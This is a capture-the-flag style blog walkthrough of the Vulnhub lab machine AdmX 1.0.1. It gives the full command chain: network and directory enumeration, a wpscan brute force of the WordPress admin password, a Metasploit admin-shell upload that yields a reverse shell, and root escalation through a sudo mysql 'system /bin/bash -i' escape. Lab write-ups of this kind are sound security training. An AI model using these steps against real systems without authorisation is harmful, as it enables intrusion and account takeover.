AdmX 1.0.1 Walkthrough – Vulnhub – Writeup

In this post, I am going to do the walkthrough of the machine AdmX 1.0.1 from Vulnhub. I intend to write this writeup for those who have intermediate skills in hacking. Before starting into the walkthrough, I would like to say that the machine didn’t work on my VirtualBox but VMWare only.

Link to the machine:,694/

Prime (2021) 2: Walkthrough – Vulnhub – Writeup

Identify the target

Firstly, I had to identify the target. Hence, I used netdiscover to list down the hosts on the network.

sudo netdiscover -i eth0 -r  

Scan open ports

Next, I listed the open ports that would show exposed services.

nmap -T4 -sC -sV -p- --min-rate=1000 | tee nmapscan

Directory enumeration

We only have an open http port on the target with default apache page. Therefore, I did the directory enumeration.

gobuster dir -u -x html,txt,php --wordlist=/usr/share/wordlists/dirb/common.txt 

The path that I have highlighted has an installation of wordpress.

Enumerate wordpress

Since we know that the website has wordpress, I futher dug deeper using wpscan.

wpscan --api-token $WPSCAN_KEY --url --detection-mode aggressive -e 

Although, it says it found a vulnerability, I couldn’t make it work even by changing the code of the exploit. Hence, I decided to try bruteforce on the user admin using the wordlist rockyou.txt.

wpscan --url -U admin -P /home/kali/rockyou.txt

It took around 11 minutes to crack the password of admin.

wordpress credentials
user: admin
pass: adam14

Spawn reverse shell

Now, I like to spawn a reverse shell by injecting the php code. Because the website has issue in the host name, I decided to use msfconsole to upload admin shell.

use exploit/unix/webapp/wp_admin_shell_upload
set username admin
set password adam14
set rhosts
set targeturi /wordpress

Finally, I got the meterpreter shell. Now, I can switch to linux shell using shell -t.

Privilege escalation to user

We can see the list of users by either using /etc/passwd file or if the user has access by listing down the /home directory.

Now, we can check if the user has reused the wordpress password.

It seems as if the user has reused the password. However, if it were not the case, then you could have looked into mysql credentials if those could give us access.

We got the user flag. Now, we can proceed to get the root shell.

Privilege escalation to root

Firstly, I looked into the sudoers permission of the user.

sudo -l

Here, we can see that the user can run the root commands on mysql’s wordpress database which prompts for password (because of -p option).

sudo mysql -u root -D wordpress -p

So now, I am using mysql as root user, I need a way to execute shell commands using mysql.

Mysql allows execution of shell commands in *nix system by using keyword system.

system /bin/bash -i
cd /root
ls -al
cat proof.txt

Finally, we got the root flag.


Although the description says, AdmX 1.0.1 is an easy/intermediate machine, I found it easy. I don’t know if it would happen in a real certification examination where the WordPress site would have a hard-coded ip address that would make it difficult to inject shellcodes. Other than the certification purpose, for a boot-to-root challenge, it isn’t an issue at all.

Leave a comment